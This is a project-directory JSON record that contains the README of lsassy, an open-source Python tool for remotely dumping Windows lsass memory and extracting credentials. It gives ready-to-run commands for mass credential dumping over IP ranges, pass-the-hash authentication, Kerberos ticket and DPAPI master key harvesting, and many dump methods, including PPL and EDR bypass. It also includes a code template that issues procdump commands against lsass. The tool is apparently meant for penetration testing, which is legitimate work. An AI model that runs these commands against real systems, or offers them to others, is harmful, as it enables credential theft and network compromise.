{"id":14638174,"url":"https://github.com/login-securite/lsassy","last_synced_at":"2025-05-14T05:10:44.364Z","repository":{"id":37979829,"uuid":"225634372","full_name":"login-securite/lsassy","owner":"login-securite","description":"Extract credentials from lsass remotely","archived":false,"fork":false,"pushed_at":"2025-04-26T15:01:29.000Z","size":17727,"stargazers_count":2111,"open_issues_count":2,"forks_count":252,"subscribers_count":45,"default_branch":"master","last_synced_at":"2025-05-03T21:46:50.318Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://en.hackndo.com/remote-lsass-dump-passwords/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/login-securite.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null},"funding":{"ko_fi":"hackndo","patreon":"hackndo"}},"created_at":"2019-12-03T14:03:41.000Z","updated_at":"2025-05-02T22:51:01.000Z","dependencies_parsed_at":"2024-01-24T12:28:15.139Z","dependency_job_id":"991001d4-7917-437c-9f45-06d24c4e79e2","html_url":"https://github.com/login-securite/lsassy","commit_stats":{"total_commits":474,"total_committers":19,"mean_commits":24.94736842105263,"dds":"0.11392405063291144","last_synced_commit":"d425549444a99723019e52ec40540c4f2c005237"},"previous_names":["login-securite/lsassy","hackndo/lsassy"],"tags_count":24,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/login-securite%2Flsassy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/login-securite%2Flsassy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/login-securite%2Flsassy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/login-securite%2Flsassy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/login-securite","download_url":"https://codeload.github.com/login-securite/lsassy/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254076850,"owners_count":22010611,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-09-10T02:01:50.613Z","updated_at":"2025-05-14T05:10:44.343Z","avatar_url":"https://github.com/login-securite.png","language":"Python","funding_links":["https://ko-fi.com/hackndo","https://patreon.com/hackndo"],"categories":["Python"],"sub_categories":[],"readme":"# lsassy\n[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py\u0026type=6\u0026v=v3.1.13\u0026x2=0)](https://pypi.org/project/lsassy)\n[![PyPI Statistics](https://img.shields.io/pypi/dm/lsassy.svg)](https://pypistats.org/packages/lsassy)\n[![Tests](https://github.com/hackndo/lsassy/actions/workflows/lsassy.yml/badge.svg)](https://github.com/hackndo/lsassy/actions?workflow=lsassy)\n[![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo\u0026style=social)](https://twitter.com/intent/follow?screen_name=hackanddo)\n\n\u003ca href=\"https://asciinema.org/a/441582?autoplay=1\" target=\"_blank\"\u003e\u003cimg src=\"https://asciinema.org/a/441582.svg\" width=\"80%\"\u003e\u003c/a\u003e\n\nPython tool to remotely extract credentials on a set of hosts. This [blog post](https://en.hackndo.com/remote-lsass-dump-passwords/) explains how it works.\n\nThis tool uses [impacket](https://github.com/SecureAuthCorp/impacket) project to remotely read necessary bytes in lsass dump and [pypykatz](https://github.com/skelsec/pypykatz) to extract credentials.\n\n| Chapters                                     | Description                                             |\n|----------------------------------------------|---------------------------------------------------------|\n| [Warning](#warning)                          | Before using this tool, read this                       |\n| [Installation](#installation)                | Lsassy installation                                     |\n| [Basic usage](#basic-usage)                  | Basic lsassy usage                                      |\n| [Advanced usage](#advanced-usage)            | Advanced lsassy usage with params explaination          |\n| [Add dump method](#add-dump-method)          | How to add a custom lsass dump method                   |\n| [Acknowledgments](#acknowledgments)          | Kudos to these people and tools                         |\n| [Official Discord](#official-discord)        | Official Discord server                                 |\n\n## Warning\n\nAlthough I have made every effort to make the tool stable, traces may be left if errors occur.\n\nThis tool can either leave some lsass dumps if it failed to delete it (even though it tries hard to do so) or leave a scheduled task running if it fails to delete it. This shouldn't happen, but it might. Now, you know, use it with caution.\n\n## Installation\n\n**lsassy** works with python \u003e= 3.7\n\n### pip (Recommended)\n\n```bash\npython3 -m pip install lsassy\n```\n\n### From source for development\n\n```\npython3 setup.py install\n```\n\n## Basic Usage\n\n**lsassy** works out of the box on multiple targets (IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets)\n\n```bash\nlsassy [-d domain] -u pixis -p P4ssw0rd targets\nlsassy [-d domain] -u pixis -H [LM:]NT targets\n```\n\nBy default, lsassy will try to dump lsass remotely using `comsvcs.dll` method, either via WMI or via a remote scheduled task.\n\n### Kerberos\n\n**lsassy** can authenticate with Kerberos. It requires a valid TGT in `KRB5CCNAME` environment variable. See [advanced usage](Lsassy-Advanced-Usage#kerberos) for more details.\n\n```bash\nlsassy -k targets\n```\n\n\n### Examples\n\n```bash\n lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24\n lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10\n lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt\n lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10\n```\n\n## Advanced Usage\n\nDifferent lsass dumping methods are implemented in **lsassy**, and some option are provided to give control to the user on how the tool will proceed.\n\n### Internal working\n\n**lsassy** is divided in modules\n\n```\n                   +-----------+\n                   |   Writer  |\n                   +-----+-----+\n                         |\n                         |\n +----------+      +-----+-----+    +---------+\n |  Parser  |------|   Core    |----| Session |\n +----------+      +-----+-----+    +---------+\n                         |\n                         |\n                   +-----------+\n                   |    Dump   |-+\n                   |  Methods  | |-+    +----------+\n                   +-----+-----+ | |----|   File   |\n                     +-----------+ |    +----------+\n                      +------------+\n                         |\n                         |\n                   +-----------+\n                   |    Exec   |-+\n                   |  Methods  | |-+\n                   +-----+-----+ | |\n                     +-----------+ |\n                      +------------+\n```\n\n#### Core module\n\nThis module is the orchestrator. It creates lsassy class with provided arguments and options, and then calls the different modules to retrieve credentials.\n\n#### Logger module\n\nThis module is used for logging purpose.\n\n#### File module\n\nThis is a layer built over Impacket to behave like a python built-in file object. It overrides methods like open, read, seek, or close.\n\n#### Dumper module\n\nThis module is where all the dumping logic happens. Depending on the method used, it will execute code on remote host to dump lsass using provided method.\n\n#### Parser module\n\nThis module relies on pypykatz and uses **lsassy** file module to remotely parse lsass dump\n\n#### Writer module\n\nThis module handles the output part, either to the screen in different formats and/or write results to a file\n\n### Dumping methods\n\nThis tool can dump lsass in different ways.\n\nDumping methods (`-m` or `--method`)\n* comsvcs\n* comsvcs_stealth\n* dllinject\n* procdump\n* procdump_embedded\n* dumpert\n* dumpertdll\n* ppldump\n* ppldump_embedded\n* mirrordump\n* mirrordump_embedded\n* wer\n* EDRSandBlast\n* nanodump\n* rdrleakdiag\n* silentprocessexit\n* sqldumper\n\n#### comsvcs method\n\nThis method **only uses built-in Windows files** to extract remote credentials. It uses **minidump** function from **comsvcs.dll** to dump **lsass** process.\n\n#### Procdump method\n\nThis method uploads **procdump.exe** from SysInternals to dump **lsass** process. \n\n#### Dumpert method\n\nThis method uploads **dumpert.exe** or **dumpert.dll** from [outflanknl](https://github.com/outflanknl/Dumpert) to dump **lsass** process using syscalls.\n\n#### Ppldump\n\nThis method uploads **ppldump.exe** from [itm4n](https://github.com/itm4n/PPLdump) to dump **lsass** process and bypass PPL.\n\n#### Mirrordump\n\nThis method uploads **Mirrordump.exe** from [Ccob](https://github.com/CCob/MirrorDump) to dump **lsass** using already opened handle to lsass via an LSA plugin.\n\n#### WER\n\nThis method uses WER technique used in [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1).\n\n#### Options\n\nFor some dumping method, options are required, like procdump or dumpert path. These options can be set using `--options` or `-O` with a comma separated list of options in a `key=value` way.\n\n```\n... --options key=value,foo=bar\n```\n\nFor example:\n\n```bash\nlsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump    -O procdump_path=/opt/Sysinternals/procdump.exe\nlsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert     -O dumpert_path=/opt/dumpert.exe\nlsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll  -O dumpertdll_path=/opt/dumpert.dll\n```\n\n#### Parse only\n\nYou can choose to parse an already dumped lsass process by providing `--parse-only` switch, alongside with `--dump-path` and `--dump-name` parameters.\n\nNote that if you choose this method, the **remote lsass dump won't be deleted**.\n\nFor example:\n\n```bash\nlsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path \"/Windows/Temp\" --dump-name \"lsass.dmp\"\n```\n\n#### Keep dump\n\nIf you don't want the dump to be automatically deleted after lsassy run, you can use `--keep-dump`.\n\n```\nlsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump\n```\n\n### Kerberos tickets harvesting\n\nKerberos tickets will be extracted and saved to `$HOME/.config/lsassy/tickets` in `kirbi` format. You can specify output directory using `-K [directory]` or `--kerberos-dir [directory]` parameter. If this directory doesn't exist, the tool will attempt to create it before outputing tickets.\n\n```bash\nlsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'\n```\n\n### DPAPI Master Keys harvesting\n\nDPAPI Master Keys will be extracted and saved to `$HOME/.config/lsassy/masterkeys.txt` in `{GUID}:SHA1` format. You can specify masterkey file path using `-M [path]` or `--masterkeys-file [path]` parameter. If the file path doesn't exist, the tool will attempt to create it before creating the file.\n\n```bash\nlsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'\n```\n\n### Authentication methods\n\nThere are three different ways to authenticate against remote targets using **lsassy**. The only requirement is that the user needs to have local administration rights on the remote targets.\n\n#### Cleartext credentials\n\nFirst and most obvious one is by using clear text credentials. It can either be a local or domain user.\n\n```bash\n## Local user\nlsassy -u pixis -p P4ssw0rd server01.hackn.lab\n\n## Domain user\nlsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab\n```\n\n#### Pass-the-hash\n\nIt is also possible to authenticate using user's NT hash. You can either provide LM:NT or only NT version.\n\n```bash\nlsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab\naad3b435b51404eeaad3b435b51404ee\n\n## Or\n\nlsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab\n```\n\n#### Kerberos\n\nYou can also authenticate using Kerberos. For this to work, you will need to have a valid ticket saved on disk, and ticket's path needs to be provided in `KRB5CCNAME` environment variable. For testing purpose, this can be achieved using impacket **getTGT.py** tool.\n\n```bash\ngetTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab\n```\n\nThis command will request a TGT and save it in `jsnow.ccache` file.\n\nIn order for **lsassy** to know which ticket to use, you'll need to explicitly set the ticket's path in `KRB5CCNAME` environment variable.\n\n```bash\nexport KRB5CCNAME=\"/home/pixis/jsnow.ccache\"\n```\n\nWhen it's correctly configured, you should be able to use that ticket for authentication using `-k` parameter. Since you're using this ticket, you don't need to provide other authentication information anymore.\n\n```bash\nlsassy -k server01.hackn.lab\n```\n\nNote that for this to work, you will need a valid DNS configuration, either dynamic with a valid DNS server, or static using `hosts` file. Moreover, you should always use FQDN when generating tickets and using **lsassy**, i.e. use `server01.hackn.lab` instead of `server01`.\n\n### Output\n\n#### Screen format\n\n**lsassy** can output credentials in different formats using `--format` or `-f` flag\n\n##### Pretty\n\nDefault format, nice and clean credentials are displayed with golden colors. In credz we trust.\n\n```\nlsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets\n```\n\n##### Json\n\nDisplays result in json format. Can be useful when called from a script\n```\nlsassy [-d domain] -u pixis -p P4ssw0rd --format json targets\n```\n\n##### Grep\n\nGrepable output that can be useful in one-liners\n\n```\nlsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets\n```\n\n##### None\n\nDoesn't display the result. Useful when using `--outfile`\n```\nlsassy [-d domain] -u pixis -p P4ssw0rd targets --format none\n```\n\n#### Save in a file\n\nSaves the result in a grepable format in provided file (`--outfile` or `-o`)\n```\nlsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt\n```\n\n#### Results filtering\n\nIf you want to only get users credentials, filtering out computers credentials, you can use `--users` flag\n```\nlsassy [-d domain] -u pixis -p P4ssw0rd targets --users\n```\n\nIf you don't want tickets to be exported, you can use `--no-tickets` flag\n\n```\nlsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets\n```\n\nIf you don't want masterkeys to be exported, you can use `--no-masterkeys` flag\n\n```\nlsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys\n```\n\n#### Thread management\n\nYou can decide how many thread you want to use \\[1-256\\] using `--threads` parameter.\n\n```\nlsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32\n```\n\n\n## Add dump method\n\nThere is a **dummy.py.tpl** file in **dumpmethod** directory. This file contains basic structure to create a new dump method functionnality.\n\n### get_commands\n\nThis method is mandatory as it is the method that will be used to execute code on the remote host in order to dump lsass in some way. It **must** return a dictionnary with two items **cmd** and **pwsh**.\n\n**cmd** command is a command understood by **cmd.exe** utility\n**pwsh** command is a command understood by powershell (most of the time, **cmd** command is also valid in powershell)\n\n```python\nreturn {\n    \"cmd\": cmd_command,\n    \"pwsh\": pwsh_command\n}\n```\n\n### Dependencies\n\nThere is a `Dependency` class that can be used to easily upload files needed for dump method, like **procdump.exe** from sysinternals. Two methods can be used :\n\n* `prepare_dependencies` to check if all parameters were provided by the user to locally find the file on user's disk and upload it, and then actually upload the file\n* `clean_dependencies` to try and remove uploaded files\n\n### (Optionnal) prepare\n\nThis method will be called **before** executing commands provided by **get_commands**. It can be used to upload files or check stuff.\n\n### (Optionnal) clean\n\nThis method will be called **after** executing commands provided by **get_commands**. It can be used to delete uploaded files or clean stuff.\n\n### Example\n\nHere is procdump example with some comments\n\n```python\nfrom lsassy.dumpmethod import IDumpMethod, Dependency\n\n\nclass DumpMethod(IDumpMethod):\n    \"\"\"\n    If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False\n    and uncomment 'dump_name' to provide expected dumpfile name on remote system.\n    \"\"\"\n    custom_dump_name_support = True  # Default: True\n    # dump_name              = \"\"    # Default: Random dumpfile name\n\n    \"\"\"\n    If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False\n    and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.\n    If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable\n    In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.\n    \"\"\"\n    custom_dump_path_support = True  # Default: True\n    # dump_share             = \"\"    # Default: \"C$\"\n    # dump_path              = \"\"    # Default: \"\\\\Windows\\\\Temp\\\\\"\n    dump_ext                 = \"dmp\"\n\n    def __init__(self, session, timeout):\n        \"\"\"\n        __init__ is overloaded to create some instance variables\n        \"\"\"\n        super().__init__(session, timeout)\n        \n        \"\"\"\n        This module requires procdump.exe to be uploaded on the remote server before being executed.\n        So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),\n        and second argument is default executable name on local user's disk.\n        \"\"\"\n        self.procdump = Dependency(\"procdump\", \"procdump.exe\")\n\n    def prepare(self, options):\n        \"\"\"\n        Prepare method is overloaded so that we are able to\n        - check if mandatory parameters are provided\n        - upload procdump on the remote host.\n        All this can be done using prepare_dependencies method from our Dependency object\n        \"\"\"\n        return self.prepare_dependencies(options, [self.procdump])\n\n    def clean(self):\n        \"\"\"\n        Clean method is overloaded so that we are able to delete our dependency if it was uploaded\n        The clean_dependencies method will do this for us.\n        \"\"\"\n        self.clean_dependencies([self.procdump])\n\n    def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):\n        \"\"\"\n        get_commands method is overloaded as it is mandatory.\n        Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.\n        The get_remote_path method of our Dependency object is used to get the correct remote path \n        of procdump on our target.\n        \"\"\"\n        \n        cmd_command = \"\"\"for /f \"tokens=2 delims= \" %J in ('\"tasklist /fi \"Imagename eq lsass.exe\" | find \"lsass\"\"') do {} -accepteula -o -ma %J {}{}\"\"\".format(\n            self.procdump.get_remote_path(),\n            self.dump_path, self.dump_name\n        )\n        pwsh_command = \"\"\"{} -accepteula -o -ma (Get-Process lsass).Id {}{}\"\"\".format(\n            self.procdump.get_remote_path(),\n            self.dump_path, self.dump_name\n        )\n        return {\n            \"cmd\": cmd_command,\n            \"pwsh\": pwsh_command\n        }\n```\n\nYou can check dummy class for more comments and/or informations.\n\n## Acknowledgments\n\n![image](https://user-images.githubusercontent.com/11051803/127148091-6b52f38a-de64-4114-b1ef-465e65deacfb.png)\n\n* [Kodoque](https://github.com/Kodoque1) for lsassy name\n* [Impacket](https://github.com/SecureAuthCorp/impacket)\n* [SkelSec](http://twitter.com/skelsec) for Pypykatz, but also for his patience and help\n* [mpgn](https://twitter.com/mpgn_x64) for his help and ideas\n* [Cn33liz](https://twitter.com/Cneelis) for [Dumpert](https://github.com/outflanknl/Dumpert)\n* [itm4n](https://twitter.com/itm4n) for [PPLDump](https://github.com/itm4n/PPLdump)\n* [Ccob](https://twitter.com/_EthicalChaos_) for [MirrorDump](https://github.com/CCob/MirrorDump)\n* [Matt Graeber](https://twitter.com/mattifestation) for [WER Technique](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1)\n* [MrUn1k0d3r](https://twitter.com/MrUn1k0d3r) for [SMB Service Modification technique](https://raw.githubusercontent.com/Mr-Un1k0d3r/SCShell/master/scshell.py)\n* [th3m4ks](https://twitter.com/th3m4ks) and [Qazeer](https://twitter.com/_Qazeer) for [EDRSandBlast](https://github.com/wavestone-cdt/EDRSandblast)\n* [s4ntiago_p](https://twitter.com/s4ntiago_p) for [nanodump](https://github.com/helpsystems/nanodump)\n* [0gtweet](https://twitter.com/0gtweet) for [Rdrleakdiag technique](https://twitter.com/0gtweet/status/1299071304805560321)\n* [Luis Rocha](https://twitter.com/countuponsec) for [SQLDumper technique](https://twitter.com/countuponsec/status/910969424215232518)\n* [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [LsassSilentProcessExit technique](https://github.com/deepinstinct/LsassSilentProcessExit)\n\n## Official Discord\n\n[https://discord.hackndo.com](https://discord.hackndo.com)\n\n## Known bugs\n\n* Compiled versions don't include table_output because of some weird error with rich library\n\n## Star History\n\n\u003ca href=\"https://github.com/hackndo/lsassy/stargazers\"\u003e\n\u003cimg width=\"500\" alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=hackndo/lsassy\u0026type=Date\"\u003e\n\u003c/a\u003e \n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flogin-securite%2Flsassy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flogin-securite%2Flsassy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flogin-securite%2Flsassy/lists"}